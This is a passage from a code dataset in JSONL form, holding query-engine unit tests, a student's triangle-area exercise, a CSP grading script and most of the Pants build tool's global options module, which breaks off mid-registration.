bundle2 = Val((2,))\n    bundle3 = Val((1, 2,))\n    bundle4 = Val((1,))\n    e = QueryEngine(MockJulesEngine())\n    rs = ResultSet(e, [bundle1, bundle2, bundle3, bundle4])\n    \n    def test_group_by_eq(self):\n        self.assertEqual(\n            list(self.rs\n                .select(require_components=['val'])\n                .group_by_eq('val')),\n            [dict(key=(1,), group=[val((1,)), val((1,))]),\n             dict(key=(2,), group=[val((2,))]),\n             dict(key=(1, 2), group=[val((1, 2))])])\n    \n    def test_group_by_in(self):\n        self.assertEqual(\n            list(self.rs\n                .select(require_components=['val'])\n                .group_by_in('val')),\n            [dict(key=1, group=[val((1,)), val((1, 2)), val((1,))]),\n             dict(key=2, group=[val((2,)), val((1, 2))])])\n","sub_path":"jules/tests/test_query.py","file_name":"test_query.py","file_ext":"py","file_size_in_byte":4322,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"108028433","text":"#NIM : 16519103\n#Nama : Nur Mutmainnah Rahim\n#Tanggal : 4 Maret 2020\n#Topik praktikum: hasil penjumlahan\n#Deskripsi : membuat program yang membaca 3 buah integer dan menuliskan kelayar hasil penjumlahannya\n\n#PROGRAM jumlah bilangan\n#program menjumlahkan 3 buah integer\n\n#KAMUS\n#a: float\n#t: float\n#luas: float\n\n#ALGORITMA\na= float(input(\"\"))\nt= float(input(\"\"))\n\nluas_segitiga= (0.5) * a* t\n\nprint(\"%.3f\" % luas_segitiga)\n\n","sub_path":"luassegitiga.py","file_name":"luassegitiga.py","file_ext":"py","file_size_in_byte":423,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"244894311","text":"import importlib\nimport traceback\nfrom grading.util import roster, print_table\nfrom csp import backtracking_search, lcv, mrv, mac\n\ndef try_csps(csps):\n    for c in csps:\n        assignment = backtracking_search(\n            **c\n            # order_domain_values=lcv,\n            # select_unassigned_variable=mrv,\n            # inference=mac\n        )\n        print(assignment)\n\nsubmissions = {}\nscores = {}\n\nmessage1 = 'Submissions that compile:'\nfor student in roster:\n    try:\n        # http://stackoverflow.com/a/17136796/2619926\n        mod = importlib.import_module('submissions.' + student + '.myCSPs')\n        submissions[student] = mod.myCSPs\n        message1 += ' ' + student\n    except ImportError:\n        pass\n    except:\n        traceback.print_exc()\n\nprint(message1)\nprint('----------------------------------------')\n\nfor student in roster:\n    if not student in submissions.keys():\n        continue\n    scores[student] = []\n    try:\n        csps = submissions[student]\n        print('CSPs from:', student)\n        try_csps(csps)\n    except:\n        traceback.print_exc()\n\n    print(student + ' scores ' + str(scores[student]) + ' = ' + str(sum(scores[student])))\n    print('----------------------------------------')","sub_path":"grading/csp-submissions.py","file_name":"csp-submissions.py","file_ext":"py","file_size_in_byte":1231,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"197283853","text":"# Copyright 2014 Pants project contributors (see CONTRIBUTORS.md).\n# Licensed under the Apache License, Version 2.0 (see LICENSE).\n\nfrom __future__ import annotations\n\nimport enum\nimport importlib\nimport logging\nimport os\nimport re\nimport sys\nimport tempfile\nfrom dataclasses import dataclass\nfrom enum import Enum\nfrom pathlib import Path\nfrom typing import Any, Dict, List, Tuple, cast\n\nfrom pants.base.build_environment import (\n    get_buildroot,\n    get_default_pants_config_file,\n    get_pants_cachedir,\n    pants_version,\n)\nfrom pants.engine.environment import CompleteEnvironment\nfrom pants.engine.internals.native_engine import PyExecutor\nfrom pants.option.custom_types import dir_option\nfrom pants.option.errors import OptionsError\nfrom pants.option.option_value_container import OptionValueContainer\nfrom pants.option.options import Options\nfrom pants.option.scope import GLOBAL_SCOPE\nfrom pants.option.subsystem import Subsystem\nfrom pants.util.dirutil import fast_relpath_optional\nfrom pants.util.docutil import bracketed_docs_url\nfrom pants.util.logging import LogLevel\nfrom pants.util.ordered_set import OrderedSet\n\nlogger = logging.getLogger(__name__)\n\n\n_CPU_COUNT = (\n    len(os.sched_getaffinity(0)) if hasattr(os, \"sched_getaffinity\") else os.cpu_count()\n) or 2\n\n\n# The time that leases are acquired for in the local store. Configured on the Python side\n# in order to ease interaction with the StoreGCService, which needs to be aware of its value.\nLOCAL_STORE_LEASE_TIME_SECS = 2 * 60 * 60\n\n\nMEGABYTES = 1_000_000\nGIGABYTES = 1_000 * MEGABYTES\n\n\nclass GlobMatchErrorBehavior(Enum):\n    \"\"\"Describe the action to perform when matching globs in BUILD files to source files.\n\n    NB: this object is interpreted from within Snapshot::lift_path_globs() -- that method will need to\n    be aware of any changes to this object's definition.\n    \"\"\"\n\n    ignore = \"ignore\"\n    warn = \"warn\"\n    error = \"error\"\n\n\nclass FilesNotFoundBehavior(Enum):\n    \"\"\"What to do when globs do not match in BUILD files.\"\"\"\n\n    warn = \"warn\"\n    error = \"error\"\n\n    def to_glob_match_error_behavior(self) -> GlobMatchErrorBehavior:\n        return GlobMatchErrorBehavior(self.value)\n\n\nclass OwnersNotFoundBehavior(Enum):\n    \"\"\"What to do when a file argument cannot be mapped to an owning target.\"\"\"\n\n    ignore = \"ignore\"\n    warn = \"warn\"\n    error = \"error\"\n\n    def to_glob_match_error_behavior(self) -> GlobMatchErrorBehavior:\n        return GlobMatchErrorBehavior(self.value)\n\n\n@enum.unique\nclass RemoteCacheWarningsBehavior(Enum):\n    ignore = \"ignore\"\n    first_only = \"first_only\"\n    backoff = \"backoff\"\n\n\n@enum.unique\nclass AuthPluginState(Enum):\n    OK = \"ok\"\n    UNAVAILABLE = \"unavailable\"\n\n\n@dataclass(frozen=True)\nclass AuthPluginResult:\n    \"\"\"The return type for a function specified via `--remote-auth-plugin`.\n\n    The returned `store_headers` and `execution_headers` will replace whatever headers Pants would\n    have used normally, e.g. what is set with `--remote-store-headers`. This allows you to control\n    the merge strategy if your plugin sets conflicting headers. Usually, you will want to preserve\n    the `initial_store_headers` and `initial_execution_headers` passed to the plugin.\n\n    If set, the returned `instance_name` will override by `--remote-instance-name`.\n    \"\"\"\n\n    state: AuthPluginState\n    store_headers: dict[str, str]\n    execution_headers: dict[str, str]\n    instance_name: str | None = None\n\n    @property\n    def is_available(self) -> bool:\n        return self.state == AuthPluginState.OK\n\n\n@dataclass(frozen=True)\nclass DynamicRemoteExecutionOptions:\n    \"\"\"Options related to remote execution of processes which are computed dynamically.\"\"\"\n\n    remote_execution: bool\n    remote_cache_read: bool\n    remote_cache_write: bool\n    remote_instance_name: str | None\n    remote_store_headers: dict[str, str]\n    remote_execution_headers: dict[str, str]\n\n    @classmethod\n    def disabled(cls) -> DynamicRemoteExecutionOptions:\n        return DynamicRemoteExecutionOptions(\n            remote_execution=False,\n            remote_cache_read=False,\n            remote_cache_write=False,\n            remote_instance_name=None,\n            remote_store_headers={},\n            remote_execution_headers={},\n        )\n\n    @classmethod\n    def from_options(\n        cls, full_options: Options, env: CompleteEnvironment, *, local_only: bool = False\n    ) -> DynamicRemoteExecutionOptions:\n        if local_only:\n            return DynamicRemoteExecutionOptions(\n                remote_execution=False,\n                remote_cache_read=False,\n                remote_cache_write=False,\n                remote_instance_name=None,\n                remote_store_headers={},\n                remote_execution_headers={},\n            )\n\n        bootstrap_options = full_options.bootstrap_option_values()\n        assert bootstrap_options is not None\n        remote_execution = cast(bool, bootstrap_options.remote_execution)\n        remote_cache_read = cast(bool, bootstrap_options.remote_cache_read)\n        remote_cache_write = cast(bool, bootstrap_options.remote_cache_write)\n        remote_instance_name = cast(\"str | None\", bootstrap_options.remote_instance_name)\n        remote_execution_headers = cast(\n            \"dict[str, str]\", bootstrap_options.remote_execution_headers\n        )\n        remote_store_headers = cast(\"dict[str, str]\", bootstrap_options.remote_store_headers)\n\n        if bootstrap_options.remote_oauth_bearer_token_path:\n            oauth_token = (\n                Path(bootstrap_options.remote_oauth_bearer_token_path).resolve().read_text().strip()\n            )\n            if set(oauth_token).intersection({\"\\n\", \"\\r\"}):\n                raise OptionsError(\n                    f\"OAuth bearer token path {bootstrap_options.remote_oauth_bearer_token_path} \"\n                    \"must not contain multiple lines.\"\n                )\n            token_header = {\"authorization\": f\"Bearer {oauth_token}\"}\n            remote_execution_headers.update(token_header)\n            remote_store_headers.update(token_header)\n\n        if (\n            bootstrap_options.remote_auth_plugin\n            and bootstrap_options.remote_auth_plugin.strip()\n            and (remote_execution or remote_cache_read or remote_cache_write)\n        ):\n            if \":\" not in bootstrap_options.remote_auth_plugin:\n                raise OptionsError(\n                    \"Invalid value for `--remote-auth-plugin`: \"\n                    f\"{bootstrap_options.remote_auth_plugin}. Please use the format \"\n                    f\"`path.to.module:my_func`.\"\n                )\n            auth_plugin_path, auth_plugin_func = bootstrap_options.remote_auth_plugin.split(\":\")\n            auth_plugin_module = importlib.import_module(auth_plugin_path)\n            auth_plugin_func = getattr(auth_plugin_module, auth_plugin_func)\n            auth_plugin_result = cast(\n                AuthPluginResult,\n                auth_plugin_func(\n                    initial_execution_headers=remote_execution_headers,\n                    initial_store_headers=remote_store_headers,\n                    options=full_options,\n                    env=dict(env),\n                ),\n            )\n            if not auth_plugin_result.is_available:\n                # NB: This is debug because we expect plugins to log more informative messages.\n                logger.debug(\n                    \"Disabling remote caching and remote execution because authentication was not \"\n                    \"available via the plugin from `--remote-auth-plugin`.\"\n                )\n                remote_execution = False\n                remote_cache_read = False\n                remote_cache_write = False\n            else:\n                logger.debug(\n                    \"`--remote-auth-plugin` succeeded. Remote caching/execution will be attempted.\"\n                )\n                remote_execution_headers = auth_plugin_result.execution_headers\n                remote_store_headers = auth_plugin_result.store_headers\n                if (\n                    auth_plugin_result.instance_name is not None\n                    and auth_plugin_result.instance_name != remote_instance_name\n                ):\n                    logger.debug(\n                        f\"Overriding `--remote-instance-name={repr(remote_instance_name)}` to \"\n                        f\"instead be {repr(auth_plugin_result.instance_name)} due to the plugin \"\n                        \"from `--remote-auth-plugin`.\"\n                    )\n                    remote_instance_name = auth_plugin_result.instance_name\n\n        return DynamicRemoteExecutionOptions(\n            remote_execution=remote_execution,\n            remote_cache_read=remote_cache_read,\n            remote_cache_write=remote_cache_write,\n            remote_instance_name=remote_instance_name,\n            remote_store_headers=remote_store_headers,\n            remote_execution_headers=remote_execution_headers,\n        )\n\n\n@dataclass(frozen=True)\nclass ExecutionOptions:\n    \"\"\"A collection of all options related to (remote) execution of processes.\n\n    TODO: These options should move to a Subsystem once we add support for \"bootstrap\" Subsystems (ie,\n    allowing Subsystems to be consumed before the Scheduler has been created).\n    \"\"\"\n\n    remote_execution: bool\n    remote_cache_read: bool\n    remote_cache_write: bool\n\n    remote_instance_name: str | None\n    remote_ca_certs_path: str | None\n\n    process_execution_local_cache: bool\n    process_execution_local_cleanup: bool\n    process_execution_local_parallelism: int\n    process_execution_remote_parallelism: int\n    process_execution_cache_namespace: str | None\n\n    remote_store_address: str | None\n    remote_store_headers: dict[str, str]\n    remote_store_chunk_bytes: Any\n    remote_store_chunk_upload_timeout_seconds: int\n    remote_store_rpc_retries: int\n\n    remote_cache_eager_fetch: bool\n    remote_cache_warnings: RemoteCacheWarningsBehavior\n\n    remote_execution_address: str | None\n    remote_execution_extra_platform_properties: List[str]\n    remote_execution_headers: Dict[str, str]\n    remote_execution_overall_deadline_secs: int\n\n    @classmethod\n    def from_options(\n        cls,\n        bootstrap_options: OptionValueContainer,\n        dynamic_execution_options: DynamicRemoteExecutionOptions,\n    ) -> ExecutionOptions:\n        # NB: Tonic expects the schemes `http` and `https`, even though they are gRPC requests.\n        # We validate that users set `grpc` and `grpcs` in the options system for clarity, but then\n        # normalize to `http`/`https`.\n        remote_execution_address = (\n            re.sub(r\"^grpc\", \"http\", bootstrap_options.remote_execution_address)\n            if bootstrap_options.remote_execution_address\n            else None\n        )\n        remote_store_address = (\n            re.sub(r\"^grpc\", \"http\", bootstrap_options.remote_store_address)\n            if bootstrap_options.remote_store_address\n            else None\n        )\n\n        return cls(\n            # Remote execution strategy.\n            remote_execution=dynamic_execution_options.remote_execution,\n            remote_cache_read=dynamic_execution_options.remote_cache_read,\n            remote_cache_write=dynamic_execution_options.remote_cache_write,\n            # General remote setup.\n            remote_instance_name=dynamic_execution_options.remote_instance_name,\n            remote_ca_certs_path=bootstrap_options.remote_ca_certs_path,\n            # Process execution setup.\n            process_execution_local_cache=bootstrap_options.process_execution_local_cache,\n            process_execution_local_parallelism=bootstrap_options.process_execution_local_parallelism,\n            process_execution_remote_parallelism=bootstrap_options.process_execution_remote_parallelism,\n            process_execution_local_cleanup=bootstrap_options.process_execution_local_cleanup,\n            process_execution_cache_namespace=bootstrap_options.process_execution_cache_namespace,\n            # Remote store setup.\n            remote_store_address=remote_store_address,\n            remote_store_headers=dynamic_execution_options.remote_store_headers,\n            remote_store_chunk_bytes=bootstrap_options.remote_store_chunk_bytes,\n            remote_store_chunk_upload_timeout_seconds=bootstrap_options.remote_store_chunk_upload_timeout_seconds,\n            remote_store_rpc_retries=bootstrap_options.remote_store_rpc_retries,\n            # Remote cache setup.\n            remote_cache_eager_fetch=bootstrap_options.remote_cache_eager_fetch,\n            remote_cache_warnings=bootstrap_options.remote_cache_warnings,\n            # Remote execution setup.\n            remote_execution_address=remote_execution_address,\n            remote_execution_extra_platform_properties=bootstrap_options.remote_execution_extra_platform_properties,\n            remote_execution_headers=dynamic_execution_options.remote_execution_headers,\n            remote_execution_overall_deadline_secs=bootstrap_options.remote_execution_overall_deadline_secs,\n        )\n\n\n@dataclass(frozen=True)\nclass LocalStoreOptions:\n    \"\"\"A collection of all options related to the local store.\n\n    TODO: These options should move to a Subsystem once we add support for \"bootstrap\" Subsystems (ie,\n    allowing Subsystems to be consumed before the Scheduler has been created).\n    \"\"\"\n\n    store_dir: str = os.path.join(get_pants_cachedir(), \"lmdb_store\")\n    processes_max_size_bytes: int = 16 * GIGABYTES\n    files_max_size_bytes: int = 256 * GIGABYTES\n    directories_max_size_bytes: int = 16 * GIGABYTES\n    shard_count: int = 16\n\n    def target_total_size_bytes(self) -> int:\n        \"\"\"Returns the target total size of all of the stores.\n\n        The `max_size` values are caps on the total size of each store: the \"target\" size\n        is the size that garbage collection will attempt to shrink the stores to each time\n        it runs.\n\n        NB: This value is not currently configurable, but that could be desirable in the future.\n        \"\"\"\n        max_total_size_bytes = (\n            self.processes_max_size_bytes\n            + self.files_max_size_bytes\n            + self.directories_max_size_bytes\n        )\n        return max_total_size_bytes // 10\n\n    @classmethod\n    def from_options(cls, options: OptionValueContainer) -> LocalStoreOptions:\n        return cls(\n            store_dir=str(Path(options.local_store_dir).resolve()),\n            processes_max_size_bytes=options.local_store_processes_max_size_bytes,\n            files_max_size_bytes=options.local_store_files_max_size_bytes,\n            directories_max_size_bytes=options.local_store_directories_max_size_bytes,\n            shard_count=options.local_store_shard_count,\n        )\n\n\nDEFAULT_EXECUTION_OPTIONS = ExecutionOptions(\n    # Remote execution strategy.\n    remote_execution=False,\n    remote_cache_read=False,\n    remote_cache_write=False,\n    # General remote setup.\n    remote_instance_name=None,\n    remote_ca_certs_path=None,\n    # Process execution setup.\n    process_execution_local_parallelism=_CPU_COUNT,\n    process_execution_remote_parallelism=128,\n    process_execution_cache_namespace=None,\n    process_execution_local_cleanup=True,\n    process_execution_local_cache=True,\n    # Remote store setup.\n    remote_store_address=None,\n    remote_store_headers={},\n    remote_store_chunk_bytes=1024 * 1024,\n    remote_store_chunk_upload_timeout_seconds=60,\n    remote_store_rpc_retries=2,\n    # Remote cache setup.\n    remote_cache_eager_fetch=True,\n    remote_cache_warnings=RemoteCacheWarningsBehavior.first_only,\n    # Remote execution setup.\n    remote_execution_address=None,\n    remote_execution_extra_platform_properties=[],\n    remote_execution_headers={},\n    remote_execution_overall_deadline_secs=60 * 60,  # one hour\n)\n\nDEFAULT_LOCAL_STORE_OPTIONS = LocalStoreOptions()\n\n\nclass GlobalOptions(Subsystem):\n    options_scope = GLOBAL_SCOPE\n    help = \"Options to control the overall behavior of Pants.\"\n\n    @classmethod\n    def register_bootstrap_options(cls, register):\n        \"\"\"Register bootstrap options.\n\n        \"Bootstrap options\" are the set of options necessary to create a Scheduler. If an option is\n        not consumed during creation of a Scheduler, it should be in `register_options` instead.\n\n        Bootstrap option values can be interpolated into the config file, and can be referenced\n        programmatically in registration code, e.g., as register.bootstrap.pants_workdir.\n\n        Note that regular code can also access these options as normal global-scope options. Their\n        status as \"bootstrap options\" is only pertinent during option registration.\n        \"\"\"\n        buildroot = get_buildroot()\n        default_distdir_name = \"dist\"\n        default_rel_distdir = f\"/{default_distdir_name}/\"\n\n        register(\n            \"--backend-packages\",\n            advanced=True,\n            type=list,\n            default=[],\n            help=(\n                \"Register functionality from these backends.\\n\\nThe backend packages must be \"\n                \"present on the PYTHONPATH, typically because they are in the Pants core dist, in a \"\n                \"plugin dist, or available as sources in the repo.\"\n            ),\n        )\n        register(\n            \"--plugins\",\n            advanced=True,\n            type=list,\n            help=(\n                \"Allow backends to be loaded from these plugins (usually released through PyPI). \"\n                \"The default backends for each plugin will be loaded automatically. Other backends \"\n                \"in a plugin can be loaded by listing them in `backend_packages` in the \"\n                \"`[GLOBAL]` scope.\"\n            ),\n        )\n        register(\n            \"--plugins-force-resolve\",\n            advanced=True,\n            type=bool,\n            default=False,\n            help=\"Re-resolve plugins, even if previously resolved.\",\n        )\n\n        register(\n            \"-l\",\n            \"--level\",\n            type=LogLevel,\n            default=LogLevel.INFO,\n            daemon=True,\n            help=\"Set the logging level.\",\n        )\n        register(\n            \"--show-log-target\",\n            type=bool,\n            default=False,\n            daemon=True,\n            advanced=True,\n            help=\"Display the target where a log message originates in that log message's output. \"\n            \"This can be helpful when paired with --log-levels-by-target.\",\n        )\n\n        register(\n            \"--log-levels-by-target\",\n            type=dict,\n            default={},\n            daemon=True,\n            advanced=True,\n            help=\"Set a more specific logging level for one or more logging targets. The names of \"\n            \"logging targets are specified in log strings when the --show-log-target option is set. \"\n            \"The logging levels are one of: \"\n            '\"error\", \"warn\", \"info\", \"debug\", \"trace\". '\n            \"All logging targets not specified here use the global log level set with --level. For example, \"\n            'you can set `--log-levels-by-target=\\'{\"workunit_store\": \"info\", \"pants.engine.rules\": \"warn\"}\\'`.',\n        )\n\n        register(\n            \"--log-show-rust-3rdparty\",\n            type=bool,\n            default=False,\n            daemon=True,\n            advanced=True,\n            help=\"Whether to show/hide logging done by 3rdparty Rust crates used by the Pants \"\n            \"engine.\",\n        )\n\n        register(\n            \"--colors\",\n            type=bool,\n            default=sys.stdout.isatty(),\n            help=(\n                \"Whether Pants should use colors in output or not. This may also impact whether \"\n                \"some tools Pants run use color.\"\n            ),\n        )\n\n        register(\n            \"--ignore-warnings\",\n            type=list,\n            member_type=str,\n            default=[],\n            daemon=True,\n            advanced=True,\n            help=(\n                \"Ignore logs and warnings matching these strings.\\n\\n\"\n                \"Normally, Pants will look for literal matches from the start of the log/warning \"\n                \"message, but you can prefix the ignore with `$regex$` for Pants to instead treat \"\n                \"your string as a regex pattern. For example:\\n\\n\"\n                \"  ignore_warnings = [\\n\"\n                \"    \\\"DEPRECATED: option 'config' in scope 'flake8' will be removed\\\",\\n\"\n                \"    '$regex$:No files\\\\s*'\\n\"\n                \"  ]\"\n            ),\n        )\n\n        register(\n            \"--pants-version\",\n            advanced=True,\n            default=pants_version(),\n            daemon=True,\n            help=\"Use this Pants version. Note that Pants only uses this to verify that you are \"\n            \"using the requested version, as Pants cannot dynamically change the version it \"\n            \"is using once the program is already running.\\n\\nIf you use the `./pants` script from \"\n            f\"{bracketed_docs_url('installation')}, however, changing the value in your \"\n            \"`pants.toml` will cause the new version to be installed and run automatically.\\n\\n\"\n            \"Run `./pants --version` to check what is being used.\",\n        )\n        register(\n            \"--pants-bin-name\",\n            advanced=True,\n            default=\"./pants\",\n            help=\"The name of the script or binary used to invoke Pants. \"\n            \"Useful when printing help messages.\",\n        )\n\n        register(\n            \"--pants-workdir\",\n            advanced=True,\n            metavar=\"<dir>\",\n            default=os.path.join(buildroot, \".pants.d\"),\n            daemon=True,\n            help=\"Write intermediate logs and output files to this dir.\",\n        )\n        register(\n            \"--pants-physical-workdir-base\",\n            advanced=True,\n            metavar=\"<dir>\",\n            default=None,\n            daemon=True,\n            help=\"When set, a base directory in which to store `--pants-workdir` contents. \"\n            \"If this option is a set, the workdir will be created as symlink into a \"\n            \"per-workspace subdirectory.\",\n        )\n        register(\n            \"--pants-supportdir\",\n            advanced=True,\n            metavar=\"<dir>\",\n            default=os.path.join(buildroot, \"build-support\"),\n            help=\"Unused. Will be deprecated in 2.2.0.\",\n        )\n        register(\n            \"--pants-distdir\",\n            advanced=True,\n            metavar=\"<dir>\",\n            default=os.path.join(buildroot, \"dist\"),\n            help=\"Write end products, such as the results of `./pants package`, to this dir.\",\n        )\n        register(\n            \"--pants-subprocessdir\",\n            advanced=True,\n            default=os.path.join(buildroot, \".pids\"),\n            daemon=True,\n            help=\"The directory to use for tracking subprocess metadata. This should \"\n            \"live outside of the dir used by `pants_workdir` to allow for tracking \"\n            \"subprocesses that outlive the workdir data.\",\n        )\n        register(\n            \"--pants-config-files\",\n            advanced=True,\n            type=list,\n            # NB: We don't fingerprint the list of config files, because the content of the config\n            # files independently affects fingerprints.\n            fingerprint=False,\n            default=[get_default_pants_config_file()],\n            help=(\n                \"Paths to Pants config files. This may only be set through the environment variable \"\n                \"`PANTS_CONFIG_FILES` and the command line argument `--pants-config-files`; it will \"\n                \"be ignored if in a config file like `pants.toml`.\"\n            ),\n        )\n        register(\n            \"--pantsrc\",\n            advanced=True,\n            type=bool,\n            default=True,\n            # NB: See `--pants-config-files`.\n            fingerprint=False,\n            help=(\n                \"Use pantsrc files located at the paths specified in the global option \"\n                \"`pantsrc_files`.\"\n            ),\n        )\n        register(\n            \"--pantsrc-files\",\n            advanced=True,\n            type=list,\n            metavar=\"<path>\",\n            # NB: See `--pants-config-files`.\n            fingerprint=False,\n            default=[\"/etc/pantsrc\", \"~/.pants.rc\"],\n            help=(\n                \"Override config with values from these files, using syntax matching that of \"\n                \"`--pants-config-files`.\"\n            ),\n        )\n        register(\n            \"--pythonpath\",\n            advanced=True,\n            type=list,\n            help=(\n                \"Add these directories to PYTHONPATH to search for plugins. This does not impact \"\n                \"the PYTHONPATH used by Pants when running your Python code.\"\n            ),\n        )\n        register(\n            \"--spec-files\",\n            type=list,\n            # NB: We don't fingerprint spec files because the content of the files independently\n            # affects fingerprints.\n            fingerprint=False,\n            help=(\n                \"Read additional specs (target addresses, files, and/or globs), one per line,\"\n                \"from these files.\"\n            ),\n        )\n        register(\n            \"--verify-config\",\n            type=bool,\n            default=True,\n            advanced=True,\n            help=\"Verify that all config file values correspond to known options.\",\n        )\n\n        register(\n            \"--stats-record-option-scopes\",\n            advanced=True,\n            type=list,\n            default=[\"*\"],\n            help=(\n                \"Option scopes to record in stats on run completion. \"\n                \"Options may be selected by joining the scope and the option with a ^ character, \"\n                \"i.e. to get option `pantsd` in the GLOBAL scope, you'd pass `GLOBAL^pantsd`. \"\n                \"Add a '*' to the list to capture all known scopes.\"\n            ),\n        )\n\n        register(\n            \"--pants-ignore\",\n            advanced=True,\n            type=list,\n            member_type=str,\n            default=[\".*/\", default_rel_distdir],\n            help=\"Paths to ignore for all filesystem operations performed by pants \"\n            \"(e.g. BUILD file scanning, glob matching, etc). \"\n            \"Patterns use the gitignore syntax (https://git-scm.com/docs/gitignore). \"\n            \"The `pants_distdir` and `pants_workdir` locations are automatically ignored. \"\n            \"`pants_ignore` can be used in tandem with `pants_ignore_use_gitignore`; any rules \"\n            \"specified here are applied after rules specified in a .gitignore file.\",\n        )\n        register(\n            \"--pants-ignore-use-gitignore\",\n            advanced=True,\n            type=bool,\n            default=True,\n            help=\"Make use of a root .gitignore file when determining whether to ignore filesystem \"\n            \"operations performed by Pants. If used together with `--pants-ignore`, any exclude/include \"\n            \"patterns specified there apply after .gitignore rules.\",\n        )\n\n        # These logging options are registered in the bootstrap phase so that plugins can log during\n        # registration and not so that their values can be interpolated in configs.\n        register(\n            \"-d\",\n            \"--logdir\",\n            advanced=True,\n            metavar=\"<dir>\",\n            daemon=True,\n            help=\"Write logs to files under this directory.\",\n        )\n\n        register(\n            \"--pantsd\",\n            advanced=True,\n            type=bool,\n            default=True,\n            daemon=True,\n            help=(\n                \"Enables use of the Pants daemon (pantsd). pantsd can significantly improve \"\n                \"runtime performance by lowering per-run startup cost, and by memoizing filesystem \"\n                \"operations and rule execution.\"\n            ),\n        )\n\n        # Whether or not to make necessary arrangements to have concurrent runs in pants.\n        # In practice, this means that if this is set, a run will not even try to use pantsd.\n        # NB: Eventually, we would like to deprecate this flag in favor of making pantsd runs parallelizable.\n        register(\n            \"--concurrent\",\n            advanced=True,\n            type=bool,\n            default=False,\n            help=\"Enable concurrent runs of Pants. Without this enabled, Pants will \"\n            \"start up all concurrent invocations (e.g. in other terminals) without pantsd. \"\n            \"Enabling this option requires parallel Pants invocations to block on the first\",\n        )\n\n        # NB: We really don't want this option to invalidate the daemon, because different clients might have\n        # different needs. For instance, an IDE might have a very long timeout because it only wants to refresh\n        # a project in the background, while a user might want a shorter timeout for interactivity.\n        register(\n            \"--pantsd-timeout-when-multiple-invocations\",\n            advanced=True,\n            type=float,\n            default=60.0,\n            help=\"The maximum amount of time to wait for the invocation to start until \"\n            \"raising a timeout exception. \"\n            \"Because pantsd currently does not support parallel runs, \"\n            \"any prior running Pants command must be finished for the current one to start. \"\n            \"To never timeout, use the value -1.\",\n        )\n        register(\n            \"--pantsd-max-memory-usage\",\n            advanced=True,\n            type=int,\n            default=2 ** 30,\n            help=(\n                \"The maximum memory usage of a pantsd process (in bytes). There is at most one \"\n                \"pantsd process per workspace.\"\n            ),\n        )\n\n        # These facilitate configuring the native engine.\n        register(\n            \"--print-stacktrace\",\n            advanced=True,\n            type=bool,\n            default=False,\n            help=\"Print the full exception stack trace for any errors.\",\n        )\n        register(\n            \"--native-engine-visualize-to\",\n            advanced=True,\n            default=None,\n            type=dir_option,\n            help=\"A directory to write execution and rule graphs to as `dot` files. The contents \"\n            \"of the directory will be overwritten if any filenames collide.\",\n        )\n\n        # Pants Daemon options.\n        register(\n            \"--pantsd-pailgun-port\",\n            advanced=True,\n            type=int,\n            default=0,\n            daemon=True,\n            help=\"The port to bind the Pants nailgun server to. Defaults to a random port.\",\n        )\n        register(\n            \"--pantsd-invalidation-globs\",\n            advanced=True,\n            type=list,\n            default=[],\n            daemon=True,\n            help=\"Filesystem events matching any of these globs will trigger a daemon restart. \"\n            \"Pants's own code, plugins, and `--pants-config-files` are inherently invalidated.\",\n        )\n\n        process_execution_local_parallelism = \"--process-execution-local-parallelism\"\n        rule_threads_core = \"--rule-threads-core\"\n        rule_threads_max = \"--rule-threads-max\"\n\n        register(\n            rule_threads_core,\n            type=int,\n            default=max(2, _CPU_COUNT // 2),\n            advanced=True,\n            help=(\n                \"The number of threads to keep active and ready to execute `@rule` logic (see \"\n                f\"also: `{rule_threads_max}`). Values less than 2 are not currently supported. \"\n                \"This value is independent of the number of processes that may be spawned in \"\n                f\"parallel locally (controlled by `{process_execution_local_parallelism}`).\"\n            ),\n        )\n        register(\n            rule_threads_max,\n            type=int,\n            default=None,\n            advanced=True,\n            help=(\n                \"The maximum number of threads to use to execute `@rule` logic. Defaults to \"\n                f\"a small multiple of `{rule_threads_core}`.\"\n            ),\n        )\n\n        local_store_dir_flag = \"--local-store-dir\"\n        local_store_shard_count_flag = \"--local-store-shard-count\"\n        local_store_files_max_size_bytes_flag = \"--local-store-files-max-size-bytes\"\n        cache_instructions = (\n            \"The path may be absolute or relative. If the directory is within the build root, be \"\n            \"sure to include it in `--pants-ignore`.\"\n        )\n        register(\n            local_store_dir_flag,\n            advanced=True,\n            help=(\n                f\"Directory to use for the local file store, which stores the results of \"\n                f\"subprocesses run by Pants. {cache_instructions}\"\n            ),\n            # This default is also hard-coded into the engine's rust code in\n            # fs::Store::default_path so that tools using a Store outside of pants\n            # are likely to be able to use the same storage location.\n            default=DEFAULT_LOCAL_STORE_OPTIONS.store_dir,\n        )\n        register(\n            \"--local-store-shard-count\",\n            type=int,\n            advanced=True,\n            help=(\n                \"The number of LMDB shards created for the local store. This setting also impacts \"\n                f\"the maximum size of stored files: see `{local_store_files_max_size_bytes_flag}` \"\n                \"for more information.\"\n                \"\\n\\n\"\n                \"Because LMDB allows only one simultaneous writer per database, the store is split \"\n                \"into multiple shards to allow for more concurrent writers. The faster your disks \"\n                \"are, the fewer shards you are likely to need for performance.\"\n                \"\\n\\n\"\n                \"NB: After changing this value, you will likely want to manually clear the \"\n                f\"`{local_store_dir_flag}` directory to clear the space used by old shard layouts.\"\n            ),\n            default=DEFAULT_LOCAL_STORE_OPTIONS.shard_count,\n        )\n        register(\n            \"--local-store-processes-max-size-bytes\",\n            type=int,\n            advanced=True,\n            help=(\n                \"The maximum size in bytes of the local store containing process cache entries. \"\n                f\"Stored below `{local_store_dir_flag}`.\"\n            ),\n            default=DEFAULT_LOCAL_STORE_OPTIONS.processes_max_size_bytes,\n        )\n        register(\n            local_store_files_max_size_bytes_flag,\n            type=int,\n            advanced=True,\n            help=(\n                \"The maximum size in bytes of the local store containing files. \"\n                f\"Stored below `{local_store_dir_flag}`.\"\n                \"\\n\\n\"\n                \"NB: This size value bounds the total size of all files, but (due to sharding of the \"\n                \"store on disk) it also bounds the per-file size to (VALUE / \"\n                f\"`{local_store_shard_count_flag}`).\"\n                \"\\n\\n\"\n                \"This value doesn't reflect space allocated on disk, or RAM allocated (it \"\n                \"may be reflected in VIRT but not RSS). However, the default is lower than you \"\n                \"might otherwise choose because macOS creates core dumps that include MMAP'd \"\n                \"pages, and setting this too high might cause core dumps to use an unreasonable \"\n                \"amount of disk if they are enabled.\"\n            ),\n            